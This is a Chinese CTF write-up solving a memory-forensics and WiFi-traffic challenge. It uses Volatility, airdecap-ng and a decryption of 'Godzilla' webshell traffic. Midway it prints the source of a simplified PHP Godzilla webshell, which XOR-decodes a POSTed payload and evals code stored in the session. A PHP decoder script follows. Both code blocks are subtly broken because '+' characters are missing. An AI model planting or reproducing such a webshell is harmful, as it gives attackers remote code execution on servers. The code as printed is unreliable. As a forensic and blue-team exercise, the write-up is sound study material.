《【陇剑杯WP】wifi题解》

2021-09-28 15:52:00 浏览数 (1)

wifi题,是一个师傅快结束的时候丢给我的。那货啥也不说,丢了一串密文过来,后面才知道是哥斯拉,他解题的方法比较强(邪门),我就老老实实根据哥斯拉的加密逆过去了。

题目

网管小王最近喜欢上了ctf网络安全竞赛,他使用“哥斯拉”木马来玩玩upload-labs,并且保存了内存镜像、wifi流量和服务器流量,让您来分析后作答:(本题仅1小问)

小王往upload-labs上传木马后进行了cat /flag,flag内容为_____________。(压缩包里有解压密码的提示,需要额外添加花括号)。

观察&题解

说实在,这个wifi题属于电子取证类型,一开始我也没啥头绪怎么下手。

1.确认信息

服务器pcap,包序27之前基本都是加密流量,没啥好看的

但是在包序27的地方上传了马

客户端的pcap,很规律的加密,但是我们仍能找到有用的信息:

SSID=My_Wifi、HuaweiDe_4c:55:ec、flage

剩下一个东西就是:windows7-dde00fa9.vmem,这属于VM的东西,突破口就在这里了。

丢kali里面用Volatility,插件不插件这题无所谓啊,我都没搞。【有个坑,2021的kali好像不自带这东西】

2.取证过程(图片太糊见谅,虚拟机里的)

到这一步,要咋搞呢。其实还是内存取证,取证就是信息收集,只是换了一个方法就是——分离。我这里比较懒,直接py文件调用。

代码语言:javascript复制
vol.py -f Windows 7-dde00fa9.vmem  imageinfo 

看看基本信息,忽略那堆报错,我没调用插件导致的。Win7SP1x86_23418/pe格式

因为这题是wifi题,题干中又说在靶场里传马子,上面识别出来是windows机器,看看他有没有做网络配置了

代码语言:javascript复制
vol.py -f Windows 7-dde00fa9.vmem  --profile=Win7SP1x86_23418 cmdscan

这是比较理想状态下,我们直接查cmd命令执行了什么,似乎真的做了配置,而且export(导出)了!

辣就梭哈文件了,win嘛直接梭哈一波rar和zip就行了

代码语言:javascript复制
vol.py -f Windows 7-dde00fa9.vmem  --profile=Win7SP1x86_23418 filescan |grep -E "rar|zip"

东西有点多,但是看到了熟悉的名字My_Wifi.zip,就是客户端pcap里的SSID了!

其他就先不管,先把My_Wifi.zip分离出来,看看是个啥。

代码语言:javascript复制
vol.py -f Windows 7-dde00fa9.vmem  --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fdc38c8 -D ./

D就是 dir的意思,./就是导出在本地。导出是.dat文件,而且还加密了!肯定有猫腻啦!

至于怎么解码,这个好玩了,我和某位师傅在斗法。我也有点懵,解出来是0kb。

找密码的时候,我很鸡贼的换了win的环境,因为被某个大神坑习惯了,他密码从来都在描述里,所以我丢到我的win环境里看。描述信息有东西哇,密码在网卡的GUID里。

网工人都知道网卡的GUID和接口绑定,上面那位师傅直接grep { 梭哈了。我就一条命令完事,直接查接口!

代码语言:javascript复制
vol.py -f Windows 7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan | grep "Interfaces"

记住!!把花括号也填进去,题干说的!!!我上面解压出0kb就是我没把花括号丢进去。

解压出来是xml文件,看看里面有啥东西吧。AES、passPhrase、 233@114514_qwe,应该是某个加密文件的密码,题目里也只剩下一个东西被加密了,那就是客户端pcap了。

无线方面kali也有工具,用最普通的工具去跑——airdecap-ng

代码语言:javascript复制
airdecap-ng -e My_Wifi -p 233@114514_qwe  khd.cap

参数怎么来的呢 -e 指定目标网络ssid,-p 密码

SSID=My_Wifi,密码233@114514_qwe,那么也衔接上了xml就是用来解码这个包的!

对比一下两个包

解码前

解码后

3.流量分析&木马分析

不得不说,这里追包蛮累的,服务端一大堆一大堆的。

服务端追到包序26、27,会发现明显的分界线。结合题干,应该就是传马的地方了。

不多说,直接解开吧,顺序 urldecode->rev(翻转) -> base64

我觉得上次写蚁剑的不够直观,我直接放代码块里写算了。

我觉得上次写蚁剑的不够直观,我直接放代码块里写算了。

代码语言:javascript复制
@session_start();//创建会话
@set_time_limit(0);//防超时
@error_reporting(0);//关闭报错页
function encode($D,$K){
    for($i=0;$i<strlen($D);$i  ) {
        $c = $K[$i 1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}//加密算法,对$D进行加密
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
//这里是简化了马子,本来是三个参数再进行下面的运算
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);//base64加密
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);//session中的eval函数记录payload,这里是哥斯拉的强特征
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);//前后16位是md5,中间是base64加密
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }//将payload存入session中
    }
}

就地取材啊,官方都写好给你了,就直接用官方的解吧。在解密后的客户端pacp追包到包序1198,即是最后一个会话。进行提取。

不要拒绝官方的好意,直接拉过来用,配合一下gzdecode函数就完事了。我太久没写php了,Print一直敲成printf,最近在捣鼓逆向,伪代码看多了。

代码语言:javascript复制
<?php
function encode($D,$K){
   for($i=0;$i<strlen($D);$i  ) {
       $c = $K[$i 1&15];
       $D[$i] = $D[$i]^$c;
    }
   return $D;
}
$a='fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB BlWZhjRlQuTIIB5jMTU=';
echo gzdecode(encode(base64_decode($a),'3c6e0b8a9c15224a'));
?>

在线php执行网站,选5.x的就行,跑一下结果就出来了。

电子取证

电子取证也是属于蓝队的一部分,可以独立出来作为一个技术分支,也可以归入应急响应里面。我电子取证方面还是挺菜鸡的,这题也是靠线索关联堆起来的。如果各位师傅有什么新思路或者新工具可以留言啊,多多益善!

最后解哥斯拉的方法,和我对线的师傅他们是直接用放进哥斯拉里面,然后让哥斯拉帮忙解码,看到flag的,不得不说是一种很好的方法!我这里是从马子入手去分析,希望对各位有帮助。

我后续会把之前应急响应日志分析那篇填上,然后这次比赛的其他wp也会陆续更新。最近也是比较忙的,见谅。

我只是一个还在成长的安全分析师和随叫随到的应急响应工程师,有疑问和合作请各位大佬留言。

0 人点赞